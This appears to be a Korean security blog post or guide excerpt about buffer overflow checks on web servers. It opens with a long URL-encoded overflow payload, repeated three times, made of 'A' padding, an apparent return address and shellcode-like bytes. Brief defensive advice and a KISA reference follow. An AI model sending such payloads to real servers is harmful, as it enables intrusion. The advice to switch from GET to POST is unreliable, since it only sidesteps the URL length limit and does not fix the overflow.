1%01%2D%01%01%01%01%50%2D%FB%03%FE%FE%2D%01%01%01%01%2D%01%01%01%01%50%2D%C4%C7%0B%FE%2D%01%01%01%01%2D%01%01%01%01%50%2D%03%37%BC%CD%2D%01%01%01%01%2D%01%01%01%01%50%2D%4C%FE%FD%F5%2D%01%01%01%01%2D%01%01%01%01%50%2D%BB%0C%33%02%2D%01%01%01%01%2D%01%01%01%01%50%2D%61%1E%2B%F5%2D%01%01%01%01%2D%01%01%01%01%50%2D%1B%AB%15%48%2D%01%01%01%01%2D%01%01%01%01%50%2D%7F%E7%77%98%2D%01%01%01%01%2D%01%01%01%01%50%2D%F8%66%04%58%2D%01%01%01%01%2D%01%01%01%01%50%2D%7F%95%36%BA%2D%01%01%01%01%2D%01%01%01%01%50%2D%7D%39%CA%E7%2D%01%01%01%01%2D%01%01%01%01%50%2D%0E%92%0E%21%2D%01%01%01%01%2D%01%01%01%01%50%2D%C6%06%E6%58%2D%01%01%01%01%2D%01%01%01%01%50%27
%27%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%8f%92%04%08%54%58%2D%79%FC%FD%FD%2D%01%01%01%01%2D%01%01%01%01%50%5C%25%01%01%01%01%25%02%02%02%02%2D%75%1C%30%7D%2D%01%01%01%01%2D%01%01%01%01%50%2D%53%DF%74%2B%2D%01%01%01%01%2D%01%01%01%01%50%2D%12%CA%20%1D%2D%01%01%01%01%2D%01%01%01%01%50%2D%EE%03%FD%01%2D%01%01%01%01%2D%01%01%01%01%50%2D%F8%F3%04%FC%2D%01%01%01%01%2D%01%01%01%01%50%2D%FB%03%FE%FE%2D%01%01%01%01%2D%01%01%01%01%50%2D%C4%C7%0B%FE%2D%01%01%01%01%2D%01%01%01%01%50%2D%03%37%BC%CD%2D%01%01%01%01%2D%01%01%01%01%50%2D%4C%FE%FD%F5%2D%01%01%01%01%2D%01%01%01%01%50%2D%BB%0C%33%02%2D%01%01%01%01%2D%01%01%01%01%50%2D%61%1E%2B%F5%2D%01%01%01%01%2D%01%01%01%01%50%2D%1B%AB%15%48%2D%01%01%01%01%2D%01%01%01%01%50%2D%7F%E7%77%98%2D%01%01%01%01%2D%01%01%01%01%50%2D%F8%66%04%58%2D%01%01%01%01%2D%01%01%01%01%50%2D%7F%95%36%BA%2D%01%01%01%01%2D%01%01%01%01%50%2D%7D%39%CA%E7%2D%01%01%01%01%2D%01%01%01%01%50%2D%0E%92%0E%21%2D%01%01%01%01%2D%01%01%01%01%50%2D%C6%06%E6%58%2D%01%01%01%01%2D%01%01%01%01%50%27
%27%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%8f%92%04%08%54%58%2D%79%FC%FD%FD%2D%01%01%01%01%2D%01%01%01%01%50%5C%25%01%01%01%01%25%02%02%02%02%2D%75%1C%30%7D%2D%01%01%01%01%2D%01%01%01%01%50%2D%53%DF%74%2B%2D%01%01%01%01%2D%01%01%01%01%50%2D%12%CA%20%1D%2D%01%01%01%01%2D%01%01%01%01%50%2D%EE%03%FD%01%2D%01%01%01%01%2D%01%01%01%01%50%2D%F8%F3%04%FC%2D%01%01%01%01%2D%01%01%01%01%50%2D%FB%03%FE%FE%2D%01%01%01%01%2D%01%01%01%01%50%2D%C4%C7%0B%FE%2D%01%01%01%01%2D%01%01%01%01%50%2D%03%37%BC%CD%2D%01%01%01%01%2D%01%01%01%01%50%2D%4C%FE%FD%F5%2D%01%01%01%01%2D%01%01%01%01%50%2D%BB%0C%33%02%2D%01%01%01%01%2D%01%01%01%01%50%2D%61%1E%2B%F5%2D%01%01%01%01%2D%01%01%01%01%50%2D%1B%AB%15%48%2D%01%01%01%01%2D%01%01%01%01%50%2D%7F%E7%77%98%2D%01%01%01%01%2D%01%01%01%01%50%2D%F8%66%04%58%2D%01%01%01%01%2D%01%01%01%01%50%2D%7F%95%36%BA%2D%01%01%01%01%2D%01%01%01%01%50%2D%7D%39%CA%E7%2D%01%01%01%01%2D%01%01%01%01%50%2D%0E%92%0E%21%2D%01%01%01%01%2D%01%01%01%01%50%2D%C6%06%E6%58%2D%01%01%01%01%2D%01%01%01%01%50%27
%27%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%8f%92%04%08%54%58%2D%79%FC%FD%FD%2D%01%01%01%01%2D%01%01%01%01%50%5C%25%01%01%01%01%25%02%02%02%02%2D%75%1C%30%7D%2D%01%01%01%01%2D%01%01%01%01%50%2D%53%DF%74%2B%2D%01%01%01%01%2D%01%01%01%01%50%2D%12%CA%20%1D%2D%01%01%01%01%2D%01%01%01%01%50%2D%EE%03%FD%01%2D%01%01%01%01%2D%01%01%01%01%50%2D%F8%F3%04%FC%2D%01%01%01%01%2D%01%01%01%01%50%2D%FB%03%FE%FE%2D%01%01%01%01%2D%01%01%01%01%50%2D%C4%C7%0B%FE%2D%01%01%01%01%2D%01%01%01%01%50%2D%03%37%BC%CD%2D%01%01%01%01%2D%01%01%01%01%50%2D%4C%FE%FD%F5%2D%01%01%01%01%2D%01%01%01%01%50%2D%BB%0C%33%02%2D%01%01%01%01%2D%01%01%01%01%50%2D%61%1E%2B%F5%2D%01%01%01%01%2D%01%01%01%01%50%2D%1B%AB%15%48%2D%01%01%01%01%2D%01%01%01%01%50%2D%7F%E7%77%98%2D%01%01%01%01%2D%01%01%01%01%50%2D%F8%66%04%58%2D%01%01%01%01%2D%01%01%01%01%50%2D%7F%95%36%BA%2D%01%01%01%01%2D%01%01%01%01%50%2D%7D%39%CA%E7%2D%01%01%01%01%2D%01%01%01%01%50%2D%0E%92%0E%21%2D%01%01%01%01%2D%01%01%01%01%50%2D%C6%06%E6%58%2D%01%01%01%01%2D%01%01%01%01%50%27

 

Request-URL Too Long

아파치 서버의 에러로 메소드 방식을 Get으로 사용할 경우  나타난다. 일반적인 웹 서버들은 8kb를 최대 길이로 설정되어 있어 URL 요청이 제한된 길이보다 길기 때문에 오류가 발생한다. 

대응방안: 메소드를 Post 방식으로 변경

 

 

※보안설정 방법

-웹 서버, WAS 서버 애플리케이션 버전을 안정성이 검증된 최신 버전으로 패치

-웹 애플리케이션에 전달되는 인수 값을 필요한 크기만큼만 받을 수 있도록 변경하고 범위를 벗어난 인수 값이 전달될

 경우 에러 페이지를 변환하지 않도록 설정

-버퍼오버플로우를 점검하는 웹 스캐닝 툴을 이용하여 주기적으로 점검

 

 

참고

www.kisa.or.kr/public/laws/laws3_View.jsp?cPage=6&mode=view&p_No=259&b_No=259&d_No=106&ST=T&SV=

기술안내서 가이드 < 관련법령·기술안내서 < 자료실 : 한국인터넷진흥원